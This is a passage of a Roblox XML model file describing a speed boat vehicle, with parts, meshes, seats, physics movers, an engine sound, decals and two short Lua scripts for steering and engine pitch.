						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Speed Boat</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX3550">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3551">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">GunBoat</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX3552">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Bodykit</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX3553">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-280</X>
											<Y>8.5</Y>
											<Z>255.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>-0</R21>
											<R22>-0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>1</Y>
											<Z>14</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3554">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3555">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">0</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">194</int>
										<CoordinateFrame name="CFrame">
											<X>-282</X>
											<Y>4</Y>
											<Z>261</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">0</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>12</X>
											<Y>4</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="SpecialMesh" referent="RBX3556">
										<Properties>
											<bool name="Archivable">true</bool>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<Content name="MeshId"><null></null></Content>
											<token name="MeshType">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Content name="TextureId"><null></null></Content>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Seat" referent="RBX3557">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">26</int>
										<CoordinateFrame name="CFrame">
											<X>-260</X>
											<Y>6.19999981</Y>
											<Z>265</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Seat</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3558">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3559">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-267</X>
											<Y>7</Y>
											<Z>255.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>2</Y>
											<Z>40</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3560">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3561">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-268</X>
											<Y>8.5</Y>
											<Z>255.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
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											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3611">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-268</X>
											<Y>8.5</Y>
											<Z>266.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">0</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>1</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="SpecialMesh" referent="RBX3612">
										<Properties>
											<bool name="Archivable">true</bool>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<Content name="MeshId"><null></null></Content>
											<token name="MeshType">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Content name="TextureId"><null></null></Content>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
							</Item>
							<Item class="Script" referent="RBX3613">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="VehicleSeat" referent="RBX3614">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-271</X>
										<Y>6.5</Y>
										<Z>261</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<bool name="HeadsUpDisplay">true</bool>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<float name="MaxSpeed">0</float>
									<string name="Name">VehicleSeat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<int name="Steer">0</int>
									<int name="Throttle">0</int>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Torque">1</float>
									<float name="Transparency">0</float>
									<float name="TurnSpeed">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX3615">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.300000012</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3616">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-262</X>
										<Y>4</Y>
										<Z>261</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Base</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>4</Y>
										<Z>30</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX3617">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3618">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BG</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>33.0201035</X>
											<Y>4.98000956</Y>
											<Z>-98.9990234</Z>
											<R00>-2.94446945e-005</R00>
											<R01>-0.0125623122</R01>
											<R02>-0.999921083</R02>
											<R10>0.000741824973</R10>
											<R11>0.999920845</R11>
											<R12>-0.0125623308</R12>
											<R20>0.999999762</R20>
											<R21>-0.000742135104</R21>
											<R22>-2.01463699e-005</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>400000</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyVelocity" referent="RBX3619">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">BV</string>
										<float name="P">1250</float>
										<Vector3 name="maxForce">
											<X>1000000</X>
											<Y>0</Y>
											<Z>1000000</Z>
										</Vector3>
										<Vector3 name="velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyPosition" referent="RBX3620">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">Hover</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>INF</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>0</X>
											<Y>5</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Sound" referent="RBX3621">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">true</bool>
										<string name="Name">Engine</string>
										<float name="Pitch">2.5999999</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX3622">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">EngineScript</string>
										<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
									</Properties>
								</Item>
								<Item class="Fire" referent="RBX3623">
									<Properties>
										<bool name="Archivable">true</bool>
										<Color3 name="Color">4294967040</Color3>
										<bool name="Enabled">false</bool>
										<string name="Name">Fire</string>
										<Color3 name="SecondaryColor">4294901760</Color3>
										<float name="heat_xml">25</float>
										<float name="size_xml">30</float>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX3624">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="Face">0</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=31161332</url></Content>
										<float name="Transparency">0</float>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX3625">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="Face">2</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=31161332</url></Content>
										<float name="Transparency">0</float>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3626">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>-289</X>
										<Y>7.5</Y>
										<Z>261</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>-1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Tip</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>3</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3627">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
